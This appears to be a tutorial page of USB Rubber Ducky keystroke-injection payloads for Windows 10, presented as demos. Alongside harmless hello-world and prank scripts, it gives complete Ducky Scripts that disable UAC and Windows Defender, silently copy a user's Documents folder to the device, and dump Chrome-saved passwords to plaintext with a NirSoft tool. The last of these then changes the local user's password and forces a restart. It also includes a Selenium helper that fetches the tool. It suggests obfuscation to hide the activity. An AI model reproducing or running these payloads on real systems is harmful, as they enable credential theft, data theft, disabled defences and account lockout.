USB Rubber Ducky: Payloads
Summary
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts. There are many of ready-made Ducky Scripts found at:
Requirements
- Article on the basics of the device: Hak5 Rubber Ducky
- If you need a different Rubber Ducky Firmware follow this guide: USB Rubber Ducky – Firmware Update.
- Ducky Script Quick Reference.
Description
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000. The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.
Hello World!
Firmware: Duck (Original)
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.
DELAY 3000 GUI d DELAY 2000 GUI r DELAY 500 STRING c:\windows\notepad.exe ENTER DELAY 1000 ALT o STRING f TAB TAB STRING 100 ENTER STRING Hello World! CTRL s STRING totallynotavirus.txt ENTER
Disable Windows Defender
Firmware: Duck (Original)
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.
DELAY 3000 REM Disabling User Account Control CTRL ESC DELAY 200 STRING uac DELAY 200 ENTER DELAY 500 LEFT DELAY 200 ENTER DELAY 200 TAB DELAY 200 DOWNARROW DELAY 200 DOWNARROW DELAY 200 DOWNARROW DELAY 200 TAB DELAY 200 ENTER DELAY 500 LEFT DELAY 200 ENTER DELAY 1000 REM Disabling Windows Defender CTRL ESC DELAY 200 STRING virus pro DELAY 200 ENTER DELAY 200 TAB DELAY 200 TAB DELAY 200 TAB DELAY 200 TAB DELAY 200 TAB DELAY 200 ENTER DELAY 200 SPACE DELAY 200 TAB DELAY 200 SPACE DELAY 200 TAB DELAY 200 SPACE DELAY 200 TAB DELAY 200 TAB DELAY 200 SPACE DELAY 200 ALT F4
Copy Documents Folder to Ducky
Firmware: Twin Duck
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows Run application to open the Documents directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.
DELAY 3000 GUI d DELAY 300 GUI r DELAY 100 STRING documents DELAY 100 ENTER DELAY 100 CTRL a DELAY 100 CTRL c DELAY 100 ALT F4 DELAY 100 GUI r DELAY 300 STRING d:\ DELAY 100 ENTER DELAY 100 CTRL v DELAY 100 GUI D DELAY 100 GUI l
Fake Update Screen
Firmware: Duck (Original)
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.
DELAY 3000 GUI d DELAY 200 GUI r DELAY 200 STRING https://www.fakeupdate.net/win10ue/ ENTER DELAY 500 F11
Maximum Volume Autoplay Audio
Firmware: Duck (Original)
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command copy con to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.
DELAY 3000
GUI d
DELAY 200
GUI r
DELAY 200
STRING cmd
ENTER
DELAY 500
STRING del %tmp%\rickyou.vbs
ENTER
DELAY 200
STRING del %tmp%\volup.vbs
ENTER
DELAY 200
STRING cd %tmp% && copy con rickyou.vbs
ENTER
STRING While true
ENTER
STRING Dim oPlayer
ENTER
STRING Set oPlayer = CreateObject("WMPlayer.OCX")
ENTER
STRING oPlayer.URL = "http://tinyurl.com/s63ve48"
ENTER
STRING oPlayer.controls.play
ENTER
STRING While oPlayer.playState <> 1 ' 1 = Stopped
ENTER
STRING WScript.Sleep 100
ENTER
STRING Wend
ENTER
STRING oPlayer.close
ENTER
STRING Wend
ENTER
DELAY 100
CTRL z
ENTER
STRING copy con volup.vbs
ENTER
STRING do
ENTER
STRING Set WshShell = CreateObject("WScript.Shell")
ENTER
STRING WshShell.SendKeys(chr(&hAF))
ENTER
STRING loop
ENTER
CTRL z
ENTER
STRING start rickyou.vbs && volup.vbs
ENTER
STRING exit
ENTER
Chrome browser data exfiltration and changing the machine’s local users password
Firmware: Duck (Original)
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights. In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.
Target Host:
- OS: Windows 10
- Software installed: Chrome browser
- Local user with administrative rights
Pre-installations:
- For automated browser navigation with a script:
- Selenium
- Chromedriver, according to the Chrome Browser version on the target host:
- Selenium script file on the host
- For file extraction: 7-zip
REM Chrome browser user passwords exfiltration and local user's password change
REM 1. Part: Chrome browser user passwords exfiltration
REM Open PowerShell and executing the selenium script
DELAY 1000
GUI r
DELAY 1000
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1
ENTER
DELAY 20000
REM Enter download credentials
STRING download
TAB
STRING nirsoft123!
ENTER
REM Wait for Downlaod
DELAY 8000
REM Open new Powershell
DELAY 3000
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 1000
REM Get the current user's Downloads folder path
STRING $DownloadsPath = [System.Environment]::GetFolderPath('MyDocuments').Replace('Documents', 'Downloads')
ENTER
DELAY 500
REM Unzip the downloaded ChromePass file
STRING & "pathto\7-Zip\7z.exe" x "$DownloadsPath\passreccommandline.zip" -o"$DownloadsPath"
ENTER
DELAY 1000
STRING nirsoft123!
ENTER
DELAY 1000
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder
STRING Start-Process -FilePath "$DownloadsPath\WebBrowserPassView.exe" -ArgumentList "/stext $DownloadsPath\chrome_passwords.txt" -NoNewWindow -Wait
ENTER
DELAY 3000
REM Exit PowerShell
STRING exit
ENTER
REM 2. Part: Change the password of the Windows user
DEFINE #NEW_PASSWORD newpassword
DELAY 1000
GUI x
DELAY 500
STRING a
DELAY 500
LEFTARROW
DELAY 500
ENTER
DELAY 3000
STRING net user $env:USERNAME #NEW_PASSWORD
ENTER
DELAY 2000
REM Restart the computer
STRING Restart-Computer -Force
ENTER
STRING exit
ENTER
Selenium script: browsernavigation.ps1
The server prevents a direct download via link. The selenium script imitates an actual user, clicking on the link and inputting user credentials for download.
# 1. Load the Selenium module
Import-Module Selenium
# 2. Start Driver: Define the path to the Chrome Browser binary
$chromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
# Set up Chrome options
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions
$chromeOptions.BinaryLocation = $chromePath
# Define the path to the new ChromeDriver
$chromeDriverPath = "C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64"
# Set up ChromeDriverService to use the updated ChromeDriver
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)
# Start ChromeDriver with the service and Chrome options
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)
# Navigate to the NirSoft download page
$driver.Navigate().GoToUrl("https://www.nirsoft.net/password_recovery_tools.html")
# Ensuring interaction with the main content for consent-button
$driver.SwitchTo().DefaultContent()
# Locate the consent button by its class and text ('Einwilligen')
$button = $driver.FindElementByXPath("//button[contains(@class, 'fc-button fc-cta-consent fc-primary-button') and contains(., 'Einwilligen')]")
# Click the button if found
if ($button -ne $null) {
$button.Click()
Write-Host "Consent button clicked."
} else {
Write-Host "No consent needed."
}
# Find and click the link that triggers the download
$link = $driver.FindElementByLinkText("this download link")
$link.Click()
# Wait for the iframe to load
Start-Sleep -Seconds 1
# Switch to the iframe containing the google ad
try {
$iframe = $driver.FindElementById("aswift_3") # Use the iframe's ID or other unique selector
$driver.SwitchTo().Frame($iframe)
Write-Host "Switched to the iframe."
} catch {
Write-Host "Iframe not found."
}
# Click dismiss-button
try {
# Try to locate the dismiss button
$dismissButton = $driver.FindElementByXPath("//div[@id='dismiss-button']")
# Check if the button is visible and clickable
if ($dismissButton -ne $null -and $dismissButton.Displayed) {
$dismissButton.Click()
Write-Host "Dismissed clicked"
} else {
Write-Host "Dismiss button exists but is not visible."
}
} catch {
# Handle the case where the dismiss button does not appear
Write-Host "Ad dismiss button did not appear."
}
Note:
- Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.
References:
- Rubber Ducky Documentation:
- Change the password of Windows User Attack:
- Nirsoft password recovery tool for web browsers:
Used Hardware
- USB Rubber Ducky
- Windows 10 PC
- Ubuntu Linux 20.04 Virtual Machine